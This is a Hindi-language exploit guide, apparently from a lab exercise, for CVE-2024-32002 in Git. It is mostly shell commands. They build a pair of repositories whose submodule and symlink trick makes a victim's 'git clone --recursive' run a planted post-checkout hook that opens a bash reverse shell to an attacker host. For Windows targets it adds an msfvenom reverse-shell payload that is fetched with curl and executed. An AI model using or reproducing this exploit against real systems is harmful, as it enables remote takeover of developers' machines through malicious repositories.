
CVE-2024-32002 के लिए शोषण, एक Git RCE कमजोरी जो पुनरावर्ती उपमॉड्यूल क्लोनिंग और सिमलिंक का उपयोग करके विंडोज और लिनक्स लक्ष्यों पर मनमाने कमांड निष्पादित करती है।
###################### गिट RCE CVE-2024-32002 ######################
विवरण
| CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/
|
एक्सप्लॉइट
| पहले आपको git पर "calledrepo" और "commandrepo" रिपॉजिटरी बनानी होगी। | पीड़ित बाद में "git clone --recursive calledrepo.git" के साथ calledrepo को कॉल करेगा, जो commandrepo पर रीडायरेक्ट करेगा और हुक स्क्रिप्ट को निष्पादित करेगा। | यह बैश रिवर्सशेल पेलोड WINDOWS और LINUX पर काम करता है। | मैं डॉकर में git cli का उपयोग कर रहा हूं क्योंकि मैं अपने सिस्टम git कॉन्फ़िग से परेशानी नहीं चाहता, लेकिन यह वैकल्पिक है।
.. code-block:: bash
docker run --rm -it debian
apt update apt install -y git
| git कॉन्फ़िगर करना
.. code-block:: bash
git config --global user.email "whatever" git config --global user.name "whatever" git config --global protocol.file.allow always git config --global core.symlinks true git config --global init.defaultBranch main
| वेरिएबल सेट करना
.. code-block:: bash
GIT_IP="10.129.19.99" GIT_USER="charles" GIT_PORT="3000" LHOST="10.10.14.113" LPORT="4444"
| रिपॉजिटरी तैयार करना
.. code-block:: bash
cd /tmp rm -rf calledrepo commandrepo
git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" cd commandrepo mkdir -p y/hooks cat <y/hooks/post-checkout #!/bin/bash /bin/bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1" EOF chmod +x y/hooks/post-checkout git add y/hooks/post-checkout git commit -m "post-checkout" git push cd ..
git clone "http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git" cd calledrepo git submodule add --name x/y "http://$GIT_IP:$GIT_PORT/$GIT_USER/commandrepo.git" A/modules/x git commit -m "add-submodule" printf ".git" > dotgit.txt git hash-object -w --stdin < dotgit.txt > dot-git.hash printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info git update-index --index-info < index.info git commit -m "add-symlink" git push cd ..
echo "git clone --recursive http://$GIT_IP:$GIT_PORT/$GIT_USER/calledrepo.git"
|
विंडोज़
| विंडोज़ पर एक्सप्लॉइट के बाद आपको एक git bash मिलेगी जिसमें कुछ समस्याएं/प्रतिबंध हैं:
.. code-block:: bash
$ C:\windows\System32\whoami.exe /all bash: C:windowsSystem32whoami.exe: command not found
| यदि आप इस वातावरण से बचना चाहते हैं, तो आप एक नया रिवर्सशेल कॉल कर सकते हैं
.. code-block:: bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o payload.exe sudo cp payload.exe /var/www/html sudo nc -nvlp 443 -s 10.10.14.113
.. code-block:: bash
cd ~/ curl http://10.10.14.113/payload.exe -O payload.exe ./payload.exe
|
| यह न भूलें कि git bash का पथ विंडोज़ कमांड पर प्राथमिकता हो सकता है। | आप विंडोज़ कमांड को पूर्ण पथ का उपयोग करके चला सकते हैं।
.. code-block:: bash
C:\windows\System32\whoami.exe /all
|